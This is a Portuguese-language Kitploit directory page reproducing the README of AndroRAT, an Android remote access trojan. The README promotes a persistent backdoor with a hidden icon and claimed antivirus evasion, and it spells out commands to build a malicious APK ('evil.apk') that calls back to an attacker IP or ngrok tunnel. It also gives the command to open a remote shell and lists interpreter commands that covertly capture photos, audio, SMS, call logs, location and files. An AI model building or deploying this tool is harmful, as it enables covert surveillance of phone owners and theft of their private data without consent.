Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
AndroRAT — Uma ferramenta simples de administração remota para Android usando sockets. Utiliza Java no lado do cliente e Python no lado do servidor | Kitploit
Ferramentas/GitHubGitHub/karma9874/androrat
Segurança AndroidGeração de PayloadsMecanismos de PersistênciaPentesting de Apps MóveisEngenharia ReversaExfiltração de DadosPós-ExploraçãoComando e ControleRed TeamingCavalo de Troia de Acesso Remoto
GitHub
5.2k1.7k2há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
karma9874/androrat

AndroRAT

Uma ferramenta simples de administração remota para Android usando sockets. Utiliza Java no lado do cliente e Python no lado do servidor

Ver Repositório

Aviso legal : Este software destina-se apenas a fins educacionais. Não me responsabilizo por qualquer uso malicioso do aplicativo.

AndroRAT

MIT License Twitter Follow GitHub followers

AndroRAT é uma ferramenta projetada para dar controle remoto do sistema Android e recuperar informações dele. Androrat é uma aplicação cliente/servidor desenvolvida em Java Android para o lado do cliente e o Servidor é em Python.

AndroRAT funcionará em dispositivos do Android 4.1 (Jelly Bean) ao Android 9.0 (Oreo) (API 16 a API 28)

AndroRAT também funciona no Android 10 (Q), mas alguns dos comandos do interpretador serão instáveis.

Capturas de tela

AndroRAT

Recursos do AndroRAT

  • Backdoor totalmente persistente
  • Totalmente indetectável por qualquer scanner antivírus VirusTotal
  • Ícone invisível na instalação
  • APK leve que funciona 24*7 em segundo plano
  • O aplicativo inicia automaticamente na inicialização
  • Pode gravar áudio, vídeo, tirar fotos de ambas as câmeras
  • Navegar pelos registros de chamadas e registros de SMS
  • Obter localização atual, detalhes do cartão SIM, IP, endereço MAC do dispositivo

Pré-requisitos

AndroRAT requer Python3 e JAVA (ou Android Studio)

Instalação

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Nota:

Ao clonar o repositório usando o Git bash no Windows, você pode receber o seguinte erro:

error: unable to create file <filename>: Filename too long

Isso ocorre porque o Git tem um limite de 4096 caracteres para um nome de arquivo, exceto no Windows quando o Git é compilado com msys. Ele usa uma versão mais antiga da API do Windows e há um limite de 260 caracteres para um nome de arquivo.

Você pode contornar isso definindo core.longpaths como true.

git config --system core.longpaths true

Você deve executar o Git bash com privilégios de administrador.

Uso (Windows e Linux)

  • Para obter o painel de controle do aplicativo, disque *#*#1337#*#* (Por enquanto ele tem apenas duas opções Restart Activity e Uninstall)

Nota: Para usar este recurso em alguns dispositivos, você precisa habilitar a opção display pop-up windows running in background nas configurações.

Modos disponíveis

  • --build - para compilar o apk android
  • --ngrok - para usar o túnel ngrok (pela internet)
  • --shell - obter um shell interativo do dispositivo

modo build

Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

Ou você pode compilar manualmente o apk importando a pasta Android Code no Android Studio e alterando o endereço IP e o número da porta no arquivo config.java e então você pode gerar o apk assinado a partir de Android Studio -> Build -> Generate Signed APK(s)

modo shell

Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

Depois de executar o modo shell, você obterá um interpretador do dispositivo

Comandos que podem ser executados no interpretador

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

No shell sh existem alguns subcomandos

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

Exemplos

  • Para compilar o apk usando ngrok, o que também definirá o listener: python3 androRAT.py --build --ngrok -o evil.apk

  • To build the apk using desired ip and port: python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

  • Para obter o interpretador: python3 androRAT.py --shell -i 0.0.0.0 -p 8000

Interpreter Examples

  • Generating APK

------------------------------------------------------------------------------------------------------------------------------
  • Some interpreter Commands

------------------------------------------------------------------------------------------------------------------------------

Supporters:

rayep

TODO

  • Ngrok support
  • Set up multi client
  • Add screenshot command

License

AndroRAT is licensed under MIT license take a look at the LICENSE for more information.

Baixar ferramenta